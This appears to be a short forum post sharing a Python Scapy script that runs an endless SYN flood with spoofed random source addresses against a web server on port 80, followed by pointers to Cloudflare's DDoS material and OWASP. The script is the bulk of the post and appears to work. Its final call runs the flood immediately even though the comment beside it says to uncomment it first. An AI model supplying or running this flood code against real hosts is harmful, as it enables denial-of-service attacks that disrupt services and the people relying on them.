I know it’s very old now but I still didn’t know about this kind of low level attack. I don’t even know if it works or not but I still found it interesting.
from scapy.all import *
import random
target_ip = "192.168.1.1"
target_port = 80
def syn_flood():
while True:
# Randomize source IP and port
src_ip = ".".join(map(str, (random.randint(0,255) for _ in range(4))))
src_port = random.randint(1024, 65535)
ip = IP(src=src_ip, dst=target_ip)
tcp = TCP(sport=src_port, dport=target_port, flags="S")
send(ip/tcp, verbose=0)
syn_flood() # Uncomment to run (requires proper authorization)
If you’re interested in more DDoS-style attacks, Cloudflare has an article that goes over the topic as a whole as well as in-depth topics for different common attacks. They also have reports that cover the kinds of DDoS attacks they’ve seen through their servers. You’ll notice they mention SYN floods as one of the attacks they commonly see. Amplification attacks have also risen in popularity, generally speaking, where the request gets amplified by vulnerable DNS/NTP/etc servers.
OWASP is an excellent learning resource as well, and covers many different topics in-depth around web security.


